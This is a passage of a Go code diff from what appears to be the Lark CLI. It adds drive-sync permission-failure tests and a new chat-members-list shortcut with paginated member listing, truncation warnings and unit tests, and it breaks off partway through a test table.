 func driveSyncRollbackRenamedLocal(oldAbsPath, newAbsPath string) error {
 	if info, err := os.Stat(oldAbsPath); err == nil { //nolint:forbidigo // shortcuts cannot import internal/vfs (depguard rule shortcuts-no-vfs); safeRoot is validated.
 		if info.IsDir() {

shortcuts/drive/drive_sync_test.go

@@ -311,6 +311,71 @@ func TestDriveSyncRemoteWinsPullsNewRemoteAndPushesNewLocal(t *testing.T) {
 	}
 }
 
+func TestDriveSyncAbortsAfterNewRemoteDownloadForbidden(t *testing.T) {
+	syncTestConfig := &core.CliConfig{
+		AppID: "drive-sync-forbidden", AppSecret: "test-secret", Brand: core.BrandFeishu,
+	}
+	f, stdout, _, reg := cmdutil.TestFactory(t, syncTestConfig)
+
+	tmpDir := t.TempDir()
+	withDriveWorkingDir(t, tmpDir)
+	if err := os.MkdirAll("local", 0o755); err != nil {
+		t.Fatalf("MkdirAll: %v", err)
+	}
+
+	reg.Register(&httpmock.Stub{
+		Method: "GET",
+		URL:    "folder_token=folder_root",
+		Body: map[string]interface{}{
+			"code": 0, "msg": "ok",
+			"data": map[string]interface{}{
+				"files": []interface{}{
+					map[string]interface{}{"token": "tok_a", "name": "a.txt", "type": "file", "modified_time": "100"},
+					map[string]interface{}{"token": "tok_b", "name": "b.txt", "type": "file", "modified_time": "100"},
+				},
+				"has_more": false,
+			},
+		},
+	})
+	reg.Register(&httpmock.Stub{
+		Method:  "GET",
+		URL:     "/open-apis/drive/v1/files/tok_a/download",
+		Status:  http.StatusForbidden,
+		RawBody: []byte("forbidden"),
+	})
+
+	err := mountAndRunDrive(t, DriveSync, []string{
+		"+sync",
+		"--local-dir", "local",
+		"--folder-token", "folder_root",
+		"--quick",
+		"--as", "bot",
+	}, f, stdout)
+	assertDriveSyncPartialFailure(t, err)
+
+	summary := driveSyncStdoutSummary(t, stdout.Bytes())
+	if got := summary["aborted"]; got != true {
+		t.Fatalf("summary.aborted = %v, want true", got)
+	}
+	if got := summary["failed"]; got != float64(1) {
+		t.Fatalf("summary.failed = %v, want 1", got)
+	}
+	items := driveSyncStdoutItems(t, stdout.Bytes())
+	if len(items) != 1 {
+		t.Fatalf("items len = %d, want 1; items=%#v", len(items), items)
+	}
+	item := items[0]
+	if item.RelPath != "a.txt" || item.Direction != "pull" || item.Phase != "download" || item.ErrorClass != "permission_denied" {
+		t.Fatalf("unexpected failed item: %#v", item)
+	}
+	if item.Code != http.StatusForbidden || item.Retryable == nil || *item.Retryable {
+		t.Fatalf("unexpected failure classification: %#v", item)
+	}
+	if _, statErr := os.Stat(filepath.Join("local", "b.txt")); !os.IsNotExist(statErr) {
+		t.Fatalf("b.txt should not be downloaded after terminal permission failure; stat err=%v", statErr)
+	}
+}
+
 // TestDriveSyncLocalWinsPushesOverRemote verifies that --on-conflict=local-wins
 // pushes the local version over the remote file.
 func TestDriveSyncLocalWinsPushesOverRemote(t *testing.T) {
@@ -1552,11 +1617,11 @@ func TestDriveSyncDryRunQuickAcceptsMetadataOnlyScope(t *testing.T) {
 	}
 }
 
-func TestDriveSyncExactRemoteWinsAcceptsDownloadOnlyScope(t *testing.T) {
+func TestDriveSyncPreflightsActionScopesBeforeListing(t *testing.T) {
 	syncTestConfig := &core.CliConfig{
 		AppID: "drive-sync-download-scope-only", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	}
-	f, stdout, _, reg := cmdutil.TestFactory(t, syncTestConfig)
+	f, stdout, _, _ := cmdutil.TestFactory(t, syncTestConfig)
 	f.Credential = credential.NewCredentialProvider(nil, nil, &driveStatusScopedTokenResolver{scopes: "drive:drive.metadata:readonly drive:file:download"}, nil)
 
 	tmpDir := t.TempDir()
@@ -1568,34 +1633,6 @@ func TestDriveSyncExactRemoteWinsAcceptsDownloadOnlyScope(t *testing.T) {
 		t.Fatalf("WriteFile a.txt: %v", err)
 	}
 
-	reg.Register(&httpmock.Stub{
-		Method: "GET",
-		URL:    "folder_token=folder_root",
-		Body: map[string]interface{}{
-			"code": 0, "msg": "ok",
-			"data": map[string]interface{}{
-				"files": []interface{}{
-					map[string]interface{}{"token": "tok_a", "name": "a.txt", "type": "file"},
-				},
-				"has_more": false,
-			},
-		},
-	})
-	reg.Register(&httpmock.Stub{
-		Method:  "GET",
-		URL:     "/open-apis/drive/v1/files/tok_a/download",
-		Status:  200,
-		Body:    []byte("remote-a"),
-		Headers: http.Header{"Content-Type": []string{"application/octet-stream"}},
-	})
-	reg.Register(&httpmock.Stub{
-		Method:  "GET",
-		URL:     "/open-apis/drive/v1/files/tok_a/download",
-		Status:  200,
-		Body:    []byte("remote-a"),
-		Headers: http.Header{"Content-Type": []string{"application/octet-stream"}},
-	})
-
 	err := mountAndRunDrive(t, DriveSync, []string{
 		"+sync",
 		"--local-dir", "local",
@@ -1603,11 +1640,30 @@ func TestDriveSyncExactRemoteWinsAcceptsDownloadOnlyScope(t *testing.T) {
 		"--on-conflict", "remote-wins",
 		"--as", "bot",
 	}, f, stdout)
-	if err != nil {
-		t.Fatalf("expected exact remote-wins to succeed with download-only scope, got: %v\nstdout: %s", err, stdout.String())
+	if err == nil {
+		t.Fatalf("expected action-scope preflight to reject download-only scope\nstdout: %s", stdout.String())
 	}
-	if strings.Contains(strings.ToLower(stdout.String()), "missing_scope") {
-		t.Fatalf("should not surface missing_scope, got: %s", stdout.String())
+	var permErr *errs.PermissionError
+	if !errors.As(err, &permErr) {
+		t.Fatalf("expected *errs.PermissionError, got %T: %v", err, err)
+	}
+	if permErr.Subtype != errs.SubtypeMissingScope {
+		t.Fatalf("Subtype = %q, want %q", permErr.Subtype, errs.SubtypeMissingScope)
+	}
+	for _, scope := range []string{"drive:file:upload", "space:folder:create"} {
+		found := false
+		for _, missing := range permErr.MissingScopes {
+			if missing == scope {
+				found = true
+				break
+			}
+		}
+		if !found {
+			t.Fatalf("MissingScopes = %v, want %s", permErr.MissingScopes, scope)
+		}
+	}
+	if strings.Contains(stdout.String(), "folder_root") {
+		t.Fatalf("preflight should fail before remote listing, got stdout: %s", stdout.String())
 	}
 }
 
@@ -2552,30 +2608,6 @@ func TestDriveSyncAskConflictRemoteShortForms(t *testing.T) {
 	}
 }
 
-// TestDriveSyncNeedsDownloadScopeReturnsFalseForLocalWinsOnly verifies
-// that driveSyncNeedsDownloadScope returns false when there are no
-// new_remote entries and all modified entries resolve to local-wins.
-func TestDriveSyncNeedsDownloadScopeReturnsFalseForLocalWinsOnly(t *testing.T) {
-	modified := []driveStatusEntry{{RelPath: "a.txt"}, {RelPath: "b.txt"}}
-	resolutions := map[string]string{"a.txt": driveSyncOnConflictLocalWins, "b.txt": driveSyncOnConflictLocalWins}
-
-	if driveSyncNeedsDownloadScope(nil, modified, resolutions) {
-		t.Fatal("expected false when no new_remote and all conflicts are local-wins")
-	}
-}
-
-// TestDriveSyncNeedsDownloadScopeReturnsTrueForKeepBoth verifies that
-// driveSyncNeedsDownloadScope returns true when a modified entry resolves
-// to keep-both (which requires pulling the remote version).
-func TestDriveSyncNeedsDownloadScopeReturnsTrueForKeepBoth(t *testing.T) {
-	modified := []driveStatusEntry{{RelPath: "a.txt"}}
-	resolutions := map[string]string{"a.txt": driveSyncOnConflictKeepBoth}
-
-	if !driveSyncNeedsDownloadScope(nil, modified, resolutions) {
-		t.Fatal("expected true when a conflict resolves to keep-both")
-	}
-}
-
 // TestDriveSyncRemoteWinsReportsMissingPullView verifies that when a
 // modified file's rel_path is not in pullRemoteFiles during the
 // remote-wins branch, a failed item is reported instead of a panic.
@@ -3083,3 +3115,19 @@ func driveSyncStdoutItems(t *testing.T, stdout []byte) []driveSyncItem {
 	}
 	return envelope.Data.Items
 }
+
+func driveSyncStdoutSummary(t *testing.T, stdout []byte) map[string]interface{} {
+	t.Helper()
+	var envelope struct {
+		Data struct {
+			Summary map[string]interface{} `json:"summary"`
+		} `json:"data"`
+	}
+	if err := json.Unmarshal(stdout, &envelope); err != nil {
+		t.Fatalf("unmarshal stdout: %v\nraw=%s", err, string(stdout))
+	}
+	if envelope.Data.Summary == nil {
+		t.Fatalf("stdout missing data.summary; raw=%s", string(stdout))
+	}
+	return envelope.Data.Summary
+}

shortcuts/drive/shortcuts.go

@@ -31,6 +31,7 @@ func Shortcuts() []common.Shortcut {
 		DriveTaskResult,
 		DriveApplyPermission,
 		DriveMemberAdd,
+		DrivePermissionGetSetting,
 		DriveSecureLabelList,
 		DriveSecureLabelUpdate,
 		DriveSearch,

shortcuts/drive/shortcuts_test.go

@@ -37,6 +37,7 @@ func TestShortcutsIncludesExpectedCommands(t *testing.T) {
 		"+task_result",
 		"+apply-permission",
 		"+member-add",
+		"+permission-get-setting",
 		"+secure-label-list",
 		"+secure-label-update",
 		"+search",

shortcuts/im/helpers_test.go

@@ -651,6 +651,7 @@ func TestShortcuts(t *testing.T) {
 	want := []string{
 		"+chat-create",
 		"+chat-list",
+		"+chat-members-list",
 		"+chat-messages-list",
 		"+chat-search",
 		"+chat-update",

shortcuts/im/im_chat_members_list.go

@@ -0,0 +1,420 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package im
+
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+	"io"
+	"strings"
+	"time"
+
+	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/internal/output"
+	"github.com/larksuite/cli/internal/validate"
+	"github.com/larksuite/cli/shortcuts/common"
+)
+
+const (
+	imChatMembersListPathFmt       = "/open-apis/im/v1/chats/%s/members/list"
+	chatMembersListDefaultPageSize = 20
+	chatMembersListMaxPageSize     = 100
+	// chatMembersListDefaultPageDelay throttles --page-all the same way the
+	// generic paginateLoop does (200ms). It matters for tenants WITHOUT the
+	// server-side member cap, where a large group drains many pages back to
+	// back and could otherwise trip rate limits.
+	chatMembersListDefaultPageDelay = 200
+)
+
+// ImChatMembersList is the +chat-members-list shortcut: it lists chat members,
+// returning users and bots in separate buckets (users[]/bots[]). It owns its
+// pagination loop (mirroring the generic paginateLoop conventions: a per-page
+// log line, a --page-limit cap, a non-advancing-token guard) precisely because
+// the response is multi-bucket — the generic --page-all merger is built for
+// single-array responses and would drop the bots[] bucket and the final-page
+// truncations[] signal. See mergeChatMemberPages for the merge semantics.
+var ImChatMembersList = common.Shortcut{
+	Service:     "im",
+	Command:     "+chat-members-list",
+	Description: "List members of a chat; returns separate users[] / bots[] buckets; callable as user or bot; --member-types filters which kinds to return; --page-all pagination; surfaces truncations[] when the server caps a bucket",
+	Risk:        "read",
+	// Declare the narrowest scope the API accepts so tokens carrying only
+	// im:chat.members:read are honored (same rationale as +chat-list).
+	Scopes:    []string{"im:chat.members:read"},
+	AuthTypes: []string{"user", "bot"},
+	Flags: []common.Flag{
+		{Name: "chat-id", Required: true, Desc: "chat ID (oc_xxx)"},
+		{Name: "member-types", Type: "string_slice", Desc: "member types to return (user, bot); omit = all"},
+		{Name: "member-id-type", Default: "open_id", Desc: "ID type for member_id in response", Enum: []string{"open_id", "union_id", "user_id"}},
+		{Name: "page-size", Type: "int", Default: fmt.Sprintf("%d", chatMembersListDefaultPageSize), Desc: fmt.Sprintf("page size, 1-%d", chatMembersListMaxPageSize)},
+		{Name: "page-token", Desc: "page token; implies single-page fetch (no auto-pagination)"},
+		{Name: "page-all", Type: "bool", Desc: "automatically paginate through all pages (capped by --page-limit)"},
+		{Name: "page-limit", Type: "int", Default: "10", Desc: "max pages to fetch with --page-all (default 10, 0 = unlimited)"},
+		{Name: "page-delay", Type: "int", Default: fmt.Sprintf("%d", chatMembersListDefaultPageDelay), Desc: "delay in ms between pages when --page-all (0 = no delay)"},
+	},
+	Tips: []string{
+		"Default fetches a single page; pass --page-all to walk every page.",
+		"With --page-all and no explicit --page-size, the max page size is used to minimize round-trips.",
+		"truncations[] in the result means the server capped a bucket due to security config — the member list is incomplete.",
+	},
+	Validate: func(ctx context.Context, runtime *common.RuntimeContext) error {
+		chatID := strings.TrimSpace(runtime.Str("chat-id"))
+		if chatID == "" {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument, "--chat-id is required (oc_xxx)").WithParam("--chat-id")
+		}
+		if !strings.HasPrefix(chatID, "oc_") {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument, "invalid --chat-id %q: must be an open_chat_id starting with oc_", chatID).WithParam("--chat-id")
+		}
+		if n := runtime.Int("page-size"); n < 1 || n > chatMembersListMaxPageSize {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument, "--page-size must be an integer between 1 and %d", chatMembersListMaxPageSize).WithParam("--page-size")
+		}
+		if n := runtime.Int("page-limit"); n < 0 {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument, "--page-limit must be a non-negative integer").WithParam("--page-limit")
+		}
+		if n := runtime.Int("page-delay"); n < 0 {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument, "--page-delay must be a non-negative integer").WithParam("--page-delay")
+		}
+		_, err := normalizeMemberTypes(runtime.StrSlice("member-types"))
+		return err
+	},
+	DryRun: func(ctx context.Context, runtime *common.RuntimeContext) *common.DryRunAPI {
+		chatID := strings.TrimSpace(runtime.Str("chat-id"))
+		dry := common.NewDryRunAPI()
+		if chatMembersShouldAutoPaginate(runtime) {
+			dry.Desc("Auto-paginates through all pages (capped by --page-limit when > 0)")
+		}
+		params, _ := buildChatMembersParams(runtime, strings.TrimSpace(runtime.Str("page-token")))
+		return dry.
+			GET(fmt.Sprintf(imChatMembersListPathFmt, validate.EncodePathSegment(chatID))).
+			Params(params)
+	},
+	Execute: func(ctx context.Context, runtime *common.RuntimeContext) error {
+		warnIfConflictingPagingFlags(runtime)
+
+		chatID := strings.TrimSpace(runtime.Str("chat-id"))
+		res, err := fetchChatMembers(ctx, runtime, chatID)
+		if err != nil {
+			return err
+		}
+
+		// The truncation signal is the whole reason this is a dedicated shortcut:
+		// surface it loudly so an agent never mistakes a capped list for a
+		// complete one.
+		if len(res.truncations) > 0 {
+			writeChatMembersTruncationWarning(runtime.IO().ErrOut, res.truncations)
+		}
+		fmt.Fprintf(runtime.IO().ErrOut, "Found %d user(s) and %d bot(s)\n", len(res.users), len(res.bots))
+
+		outData := map[string]interface{}{
+			"chat_id":     chatID,
+			"users":       res.users,
+			"bots":        res.bots,
+			"truncations": res.truncations,
+			"has_more":    res.hasMore,
+			"page_token":  res.pageToken,
+		}
+		if res.userTotal != nil {
+			outData["user_total"] = res.userTotal
+		}
+		if res.botTotal != nil {
+			outData["bot_total"] = res.botTotal
+		}
+
+		runtime.OutFormat(outData, &output.Meta{Count: len(res.users) + len(res.bots)}, func(w io.Writer) {
+			renderChatMembersPretty(w, chatID, res)
+		})
+		return nil
+	},
+}
+
+// chatMembersResult is the aggregated view across one or more pages.
+type chatMembersResult struct {
+	users       []interface{}
+	bots        []interface{}
+	truncations []interface{}
+	userTotal   interface{}
+	botTotal    interface{}
+	hasMore     bool
+	pageToken   string
+}
+
+// effectiveChatMembersPageSize resolves the page_size to request. When draining
+// every page (--page-all) and the caller did NOT explicitly set --page-size, it
+// uses the maximum so a full walk takes the fewest round-trips. An explicit
+// --page-size is always honored; without --page-all the smaller default is kept
+// as a sensible single-page preview size.
+func effectiveChatMembersPageSize(runtime *common.RuntimeContext) int {
+	if chatMembersShouldAutoPaginate(runtime) && !runtime.Changed("page-size") {
+		return chatMembersListMaxPageSize
+	}
+	if n := runtime.Int("page-size"); n > 0 {
+		return n
+	}
+	return chatMembersListDefaultPageSize
+}
+
+// chatMembersShouldAutoPaginate reports whether the fetch loop should walk
+// every page. An explicit --page-token disables the auto loop because the
+// caller supplied a specific cursor (single-page fetch).
+func chatMembersShouldAutoPaginate(runtime *common.RuntimeContext) bool {
+	if strings.TrimSpace(runtime.Str("page-token")) != "" {
+		return false
+	}
+	return runtime.Bool("page-all")
+}
+
+// buildChatMembersParams builds the query params for one page request. The
+// startToken (when non-empty) seeds the page_token; the loop overrides it per
+// page. Returns the params and the normalized member-types CSV (already
+// validated by Validate, so the error is only a defensive guard).
+func buildChatMembersParams(runtime *common.RuntimeContext, startToken string) (map[string]interface{}, error) {
+	memberTypes, err := normalizeMemberTypes(runtime.StrSlice("member-types"))
+	if err != nil {
+		return nil, err
+	}
+	params := map[string]interface{}{
+		"member_id_type": runtime.Str("member-id-type"),
+		"page_size":      effectiveChatMembersPageSize(runtime),
+	}
+	if memberTypes != "" {
+		params["member_types"] = memberTypes
+	}
+	if startToken != "" {
+		params["page_token"] = startToken
+	}
+	return params, nil
+}
+
+// fetchChatMembers walks the list_members endpoint, honoring the four
+// pagination flags the same way the generic --page-all path does. It merges
+// each page into the aggregate as it arrives (rather than buffering every raw
+// page), so peak memory is just the aggregated members plus the single most
+// recent page — important for large groups under --page-limit 0.
+func fetchChatMembers(ctx context.Context, runtime *common.RuntimeContext, chatID string) (*chatMembersResult, error) {
+	auto := chatMembersShouldAutoPaginate(runtime)
+	pageLimit := runtime.Int("page-limit")
+	pageDelay := runtime.Int("page-delay")
+	apiPath := fmt.Sprintf(imChatMembersListPathFmt, validate.EncodePathSegment(chatID))
+
+	params, err := buildChatMembersParams(runtime, strings.TrimSpace(runtime.Str("page-token")))
+	if err != nil {
+		return nil, err
+	}
+
+	res := newChatMembersResult()
+	var lastData map[string]interface{}
+	pageToken := strings.TrimSpace(runtime.Str("page-token"))
+	for page := 0; ; page++ {
+		if pageToken != "" {
+			params["page_token"] = pageToken
+		}
+		fmt.Fprintf(runtime.IO().ErrOut, "[page %d] fetching...\n", page+1)
+		data, err := runtime.CallAPITyped("GET", apiPath, params, nil)
+		if err != nil {
+			return nil, err
+		}
+		addMemberBuckets(res, data)
+		lastData = data
+
+		hasMore, nextToken := common.PaginationMeta(data)
+		if !auto {
+			break
+		}
+		if !hasMore || nextToken == "" {
+			break
+		}
+		if nextToken == pageToken {
+			// Guard against a buggy server echoing the same cursor with
+			// has_more=true: without --page-limit we would loop forever.
+			fmt.Fprintln(runtime.IO().ErrOut, "Stopping pagination: server returned a non-advancing page_token.")
+			break
+		}
+		if pageLimit > 0 && page+1 >= pageLimit {
+			fmt.Fprintf(runtime.IO().ErrOut, "[pagination] reached page limit (%d), stopping. Use --page-all --page-limit 0 to fetch all pages.\n", pageLimit)
+			break
+		}
+		pageToken = nextToken
+		// Throttle between pages (only reached when another page follows), so
+		// draining a large untruncated list doesn't hammer the API.
+		if pageDelay > 0 {
+			time.Sleep(time.Duration(pageDelay) * time.Millisecond)
+		}
+	}
+	if lastData != nil {
+		applyLastPageSignals(res, lastData)
+	}
+	return res, nil
+}
+
+// newChatMembersResult returns an empty aggregate with non-nil buckets so the
+// JSON output always carries arrays (never null).
+func newChatMembersResult() *chatMembersResult {
+	return &chatMembersResult{
+		users:       []interface{}{},
+		bots:        []interface{}{},
+		truncations: []interface{}{},
+	}
+}
+
+// addMemberBuckets appends one page's users[] and bots[] into the aggregate.
+// Concatenating every bucket is what avoids dropping bots[] — the bug the
+// generic single-array --page-all merger would hit on this multi-bucket shape.
+func addMemberBuckets(res *chatMembersResult, data map[string]interface{}) {
+	if u, ok := data["users"].([]interface{}); ok {
+		res.users = append(res.users, u...)
+	}
+	if b, ok := data["bots"].([]interface{}); ok {
+		res.bots = append(res.bots, b...)
+	}
+}
+
+// applyLastPageSignals copies the per-request signals from the FINAL page:
+// has_more / page_token / truncations / totals. These must come from the last
+// page, not page 1: truncations[] is emitted only on the final page (empty
+// earlier), so reading it sooner would hide a server-side cap; user_total /
+// bot_total are server-wide counts, and taking the final page's value keeps a
+// single, consistent source rather than a possibly-stale earlier count.
+func applyLastPageSignals(res *chatMembersResult, data map[string]interface{}) {
+	res.hasMore, res.pageToken = common.PaginationMeta(data)
+	if t, ok := data["truncations"].([]interface{}); ok {
+		res.truncations = t
+	}
+	res.userTotal = data["user_total"]
+	res.botTotal = data["bot_total"]
+}
+
+// mergeChatMemberPages folds a slice of page payloads into one aggregate. It is
+// the same logic fetchChatMembers applies incrementally, kept as a pure
+// function so the multi-bucket merge + last-page-signal semantics are unit
+// tested in one place.
+func mergeChatMemberPages(pages []map[string]interface{}) *chatMembersResult {
+	res := newChatMembersResult()
+	if len(pages) == 0 {
+		return res
+	}
+	for _, data := range pages {
+		addMemberBuckets(res, data)
+	}
+	applyLastPageSignals(res, pages[len(pages)-1])
+	return res
+}
+
+// normalizeMemberTypes validates the --member-types slice (already CSV-split by
+// cobra) into a lowercased, deduped CSV string. Empty input is a no-op (return
+// the API's default of all types). Any element outside {user, bot} is rejected.
+func normalizeMemberTypes(raw []string) (string, error) {
+	if len(raw) == 0 {
+		return "", nil
+	}
+	seen := make(map[string]struct{}, len(raw))
+	out := make([]string, 0, len(raw))
+	for _, p := range raw {
+		p = strings.TrimSpace(strings.ToLower(p))
+		if p != "user" && p != "bot" {
+			return "", errs.NewValidationError(errs.SubtypeInvalidArgument, "invalid --member-types value %q: expected one of user, bot", p).WithParam("--member-types")
+		}
+		if _, dup := seen[p]; dup {
+			continue
+		}
+		seen[p] = struct{}{}
+		out = append(out, p)
+	}
+	return strings.Join(out, ","), nil
+}
+
+// warnIfConflictingPagingFlags mirrors the wiki list shortcuts: --page-token
+// wins (single-page fetch from the supplied cursor) and --page-all is ignored.
+func warnIfConflictingPagingFlags(runtime *common.RuntimeContext) {
+	if strings.TrimSpace(runtime.Str("page-token")) != "" && runtime.Bool("page-all") {
+		fmt.Fprintln(runtime.IO().ErrOut,
+			"warning: --page-token is set, so --page-all is ignored (single-page fetch from the supplied cursor)")
+	}
+}
+
+// writeChatMembersTruncationWarning emits a stderr warning for every
+// server-side bucket cap reported in truncations[]. It uses the repo's plain
+// "warning: <code>: <message>" convention (see shortcuts/common/runner.go and
+// +chat-list's bot_strip_p2p) — no emoji, so it stays legible in CI logs and
+// pipes regardless of terminal encoding.
+func writeChatMembersTruncationWarning(w io.Writer, truncations []interface{}) {
+	for _, t := range truncations {
+		tm, ok := t.(map[string]interface{})
+		if !ok {
+			continue
+		}
+		memberType := valueOrAll(tm["member_type"])
+		limit := tm["limit"]
+		fmt.Fprintf(w, "warning: members_truncated: %s bucket capped at %v by server security config; the member list is INCOMPLETE\n", memberType, limit)
+	}
+}
+
+func valueOrAll(v interface{}) string {
+	if s, ok := v.(string); ok && s != "" {
+		return s
+	}
+	return "member"
+}
+
+func renderChatMembersPretty(w io.Writer, chatID string, res *chatMembersResult) {
+	fmt.Fprintf(w, "Chat: %s\n", chatID)
+	// Show the server-wide total next to the fetched count: when truncated or
+	// paged, total can far exceed len(users)/len(bots), and that gap is exactly
+	// what tells the reader how incomplete the list is.
+	fmt.Fprintf(w, "Users (%d%s):\n", len(res.users), totalSuffix(res.userTotal, len(res.users)))
+	for i, u := range res.users {
+		m, _ := u.(map[string]interface{})
+		fmt.Fprintf(w, "  [%d] %s  %s\n", i+1, valueOrDash(m["member_id"]), valueOrDash(m["name"]))
+	}
+	fmt.Fprintf(w, "Bots (%d%s):\n", len(res.bots), totalSuffix(res.botTotal, len(res.bots)))
+	for i, b := range res.bots {
+		m, _ := b.(map[string]interface{})
+		fmt.Fprintf(w, "  [%d] %s  %s\n", i+1, valueOrDash(m["member_id"]), valueOrDash(m["name"]))
+	}
+	if len(res.truncations) > 0 {
+		fmt.Fprintln(w, "warning: result truncated by server security config (see truncations[]); the list is INCOMPLETE")
+	}
+	if res.hasMore {
+		fmt.Fprint(w, "More pages available; pass --page-all (and --page-limit 0 for everything)")
+		if res.pageToken != "" {
+			fmt.Fprintf(w, ", or --page-token %s to resume", res.pageToken)
+		}
+		fmt.Fprintln(w)
+	}
+}
+
+func valueOrDash(v interface{}) string {
+	if s, ok := v.(string); ok && s != "" {
+		return s
+	}
+	return "-"
+}
+
+// totalSuffix renders " of <total>" when the server-reported total exceeds the
+// number actually fetched (so a truncated/partial bucket is obvious), and ""
+// when the total is absent or already matches the fetched count.
+func totalSuffix(total interface{}, fetched int) string {
+	n, ok := toInt(total)
+	if !ok || n <= fetched {
+		return ""
+	}
+	return fmt.Sprintf(" of %d", n)
+}
+
+// toInt coerces a JSON-decoded number (float64 / json.Number / int) to int.
+func toInt(v interface{}) (int, bool) {
+	switch n := v.(type) {
+	case float64:
+		return int(n), true
+	case int:
+		return n, true
+	case int64:
+		return int(n), true
+	case json.Number:
+		if i, err := n.Int64(); err == nil {
+			return int(i), true
+		}
+	}
+	return 0, false
+}

shortcuts/im/im_chat_members_list_test.go

@@ -0,0 +1,325 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package im
+
+import (
+	"bytes"
+	"context"
+	"errors"
+	"fmt"
+	"net/http"
+	"strconv"
+	"strings"
+	"testing"
+
+	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/shortcuts/common"
+	"github.com/spf13/cobra"
+)
+
+// page builds one list_members page payload shaped like the data object the
+// server returns (users[]/bots[]/truncations[] plus paging + totals).
+func cmlPage(users, bots, truncations []interface{}, hasMore bool, pageToken string) map[string]interface{} {
+	return map[string]interface{}{
+		"users":       users,
+		"bots":        bots,
+		"truncations": truncations,
+		"has_more":    hasMore,
+		"page_token":  pageToken,
+		"user_total":  324,
+		"bot_total":   2,
+	}
+}
+
+func us(ids ...string) []interface{} {
+	out := make([]interface{}, 0, len(ids))
+	for _, id := range ids {
+		out = append(out, map[string]interface{}{"member_id": id})
+	}
+	return out
+}
+
+// TestMergeChatMemberPages_MergesUsersAndBots covers Bug 1: every list bucket
+// (users AND bots) must be concatenated across pages, not just one of them.
+func TestMergeChatMemberPages_MergesUsersAndBots(t *testing.T) {
+	pages := []map[string]interface{}{
+		cmlPage(us("u1", "u2"), us("b1"), []interface{}{}, true, "p2"),
+		cmlPage(us("u3"), us("b2", "b3"), []interface{}{}, false, ""),
+	}
+
+	res := mergeChatMemberPages(pages)
+
+	if len(res.users) != 3 {
+		t.Errorf("users: want 3 merged, got %d", len(res.users))
+	}
+	if len(res.bots) != 3 {
+		t.Errorf("bots: want 3 merged, got %d", len(res.bots))
+	}
+}
+
+// TestMergeChatMemberPages_TruncationsFromLastPage covers Bug 2: truncations[]
+// is emitted only on the final page, so the merged view must take it from the
+// last page rather than inherit page 1's empty slice.
+func TestMergeChatMemberPages_TruncationsFromLastPage(t *testing.T) {
+	limit := []interface{}{map[string]interface{}{"limit": 100, "member_type": "user"}}
+	pages := []map[string]interface{}{
+		cmlPage(us("u1"), us("b1"), []interface{}{}, true, "p2"),
+		cmlPage(us("u2"), nil, limit, false, ""),
+	}
+
+	res := mergeChatMemberPages(pages)
+
+	if len(res.truncations) != 1 {
+		t.Fatalf("truncations: want last page's 1 entry, got %d (%v)", len(res.truncations), res.truncations)
+	}
+}
+
+// TestMergeChatMemberPages_HasMoreAndTokenFromLastPage guards that paging
+// signals come from the final page (so a --page-limit cutoff is visible).
+func TestMergeChatMemberPages_HasMoreAndTokenFromLastPage(t *testing.T) {
+	pages := []map[string]interface{}{
+		cmlPage(us("u1"), nil, nil, true, "p2"),
+		cmlPage(us("u2"), nil, nil, true, "p3"), // loop stopped early; server still has more
+	}
+
+	res := mergeChatMemberPages(pages)
+
+	if !res.hasMore {
+		t.Error("has_more: want true from last page")
+	}
+	if res.pageToken != "p3" {
+		t.Errorf("page_token: want last page's p3, got %q", res.pageToken)
+	}
+}
+
+// TestMergeChatMemberPages_TotalsFromLastPage verifies user_total / bot_total
+// are taken from the final page (not an earlier, possibly-different value).
+func TestMergeChatMemberPages_TotalsFromLastPage(t *testing.T) {
+	pages := []map[string]interface{}{
+		{"users": us("u1"), "user_total": 999, "bot_total": 7, "has_more": true, "page_token": "p2"},
+		{"users": us("u2"), "user_total": 324, "bot_total": 2, "has_more": false, "page_token": ""},
+	}
+	res := mergeChatMemberPages(pages)
+	if n, _ := toInt(res.userTotal); n != 324 {
+		t.Errorf("user_total: want last page's 324, got %v", res.userTotal)
+	}
+	if n, _ := toInt(res.botTotal); n != 2 {
+		t.Errorf("bot_total: want last page's 2, got %v", res.botTotal)
+	}
+}
+
+// TestChatMembersValidate covers --chat-id presence + oc_ prefix enforcement.
+func TestChatMembersValidate(t *testing.T) {
+	noop := shortcutRoundTripFunc(func(req *http.Request) (*http.Response, error) {
+		return shortcutJSONResponse(200, map[string]interface{}{"code": 0, "data": cmlPage(nil, nil, nil, false, "")}), nil
+	})
+	cases := []struct {
+		name    string
+		chatID  string
+		wantErr bool
+	}{
+		{"valid oc_", "oc_abc", false},
+		{"empty", "", true},
+		{"missing oc_ prefix", "abc123", true},
+	}
+	for _, c := range cases {
+		rt := newChatMembersTestRuntime(t, noop, map[string]string{"chat-id": c.chatID}, nil, nil)
+		err := ImChatMembersList.Validate(context.Background(), rt)
+		if c.wantErr {
+			assertValidationError(t, c.name, err, "--chat-id")
+			continue
+		}
+		if err != nil {
+			t.Errorf("%s: unexpected error %v", c.name, err)
+		}
+	}
+}
+
+// assertValidationError checks err satisfies the repo's typed-error contract for
+// a validation failure: a *errs.ValidationError carrying the expected Param, and
+// problem metadata of category validation / subtype invalid_argument.
+func assertValidationError(t *testing.T, ctx string, err error, wantParam string) {
+	t.Helper()
+	var ve *errs.ValidationError
+	if !errors.As(err, &ve) {
+		t.Errorf("%s: want *errs.ValidationError, got %T (%v)", ctx, err, err)
+		return
+	}
+	if ve.Param != wantParam {
+		t.Errorf("%s: Param = %q, want %q", ctx, ve.Param, wantParam)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Category != errs.CategoryValidation || p.Subtype != errs.SubtypeInvalidArgument {
+		t.Errorf("%s: problem = %+v (ok=%v), want category=%s subtype=%s", ctx, p, ok, errs.CategoryValidation, errs.SubtypeInvalidArgument)
+	}
+}
+
+func TestNormalizeMemberTypes(t *testing.T) {
+	cases := []struct {
+		in      []string
+		want    string
+		wantErr bool
+	}{
+		{nil, "", false},
